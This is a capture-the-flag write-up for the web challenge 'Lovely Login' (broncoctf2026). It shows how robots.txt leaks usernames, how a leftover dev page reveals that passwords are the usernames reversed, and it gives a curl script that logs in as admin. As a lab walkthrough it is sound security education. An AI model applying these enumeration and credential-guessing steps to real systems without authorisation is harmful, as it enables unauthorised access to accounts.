Lovely Login

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: base64_decode, credential_derivation_reversed_username, dev_page_disclosure, robots_txt_enumeration

Summary

Walkthrough of the CUSTOM Web Lovely Login. Task: Express login page whose developers 'forgot to clean up a few things'. Solution: robots.txt leaks a hidden /security route and a base64 blob of usernames; the dev notes reveal passwords are the

---

title: "Lovely Login" id: 20260711_broncoctf2026_lovely_login category: web difficulty: easy event: broncoctf2026 tags: ["authentication_bypass", "information_disclosure", "base64", "robots_txt", "express", "weak_credentials", "reversed_password"] techniques: ["base64_decode", "credential_derivation_reversed_username", "dev_page_disclosure", "robots_txt_enumeration"] tools: ["base64", "curl"] indicators: ["do not scrape it hint in description", "robots.txt with base64 comment and Disallow route", "leftover /security dev notes page", "X-Powered-By: Express login card"]

Lovely Login — broncoctf2026

Description

Welcome to our lovely new login page 💕. The developers swear it's secure… but they may have forgotten to clean up a few things before launch. Can you figure out how authentication works and log in as the right user? P.S. please follow my wishes and do not scrape it...

An Express login page. Two planted hints in the description ("do not scrape it" → robots.txt, "forgotten to clean up" → leftover dev page) lead to information disclosure that reveals the credential scheme. Goal: log in as the correct user and read the flag.

Analysis

The main page (/) is an Express app (X-Powered-By: Express) serving a "Secure Database" login card. Client-side JS POSTs JSON {username, password} to /login.

The description's "do not scrape it" points at robots.txt:

User-agent: *
Disallow: /security

# amVmZixzYXJhaCx hZG1pbixndWVzdA==

robots.txt is not access control — it leaks both a hidden route (/security) and a base64 comment. Stripping the stray space and decoding:

amVmZixzYXJhaCxhZG1pbixndWVzdA== -> jeff,sarah,admin,guest

Those are the four valid usernames. The "forgot to clean up" hint points to the leaked /security dev notes page, which states:

• Passwords are derived from usernames
• Current implementation stores them backwards for obfuscation (i.e. password = username reversed)
• Planned upgrade: hashing + salting
• TODO: remove this page before production deployment!

So the auth scheme is weak by design: password == reverse(username).

Solution

Enumerate the disclosures, decode the usernames, derive the reversed password, and log in as admin.

 bash read-only • copy allowed Copy
#!/usr/bin/env bash
BASE="https://broncoctf-lovely-login.chals.io"

# 1. robots.txt leaks /security route + base64 usernames
curl -sk "$BASE/robots.txt"

# 2. decode usernames (strip the stray space first)
echo "amVmZixzYXJhaCx hZG1pbixndWVzdA==" | tr -d ' ' | base64 -d
# -> jeff,sarah,admin,guest

# 3. read leftover dev notes: password = username reversed
curl -sk "$BASE/security"

# 4. log in as admin with reversed password -> flag
curl -sk -H 'Content-Type: application/json' \
  --data '{"username":"admin","password":"nimda"}' \
  "$BASE/login"
# -> <pre>bronco{REDACTED}</pre>

Other users (jeff/sarah/guest) also authenticate with their reversed passwords, but only admin — the "right user" — returns the flag.

Key Takeaways / Lessons

• Mastering base64_decode, credential_derivation_reversed_username, dev_page_disclosure, robots_txt_enumeration was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-07-11 • CUSTOM • Lovely Login • Difficulty: Easy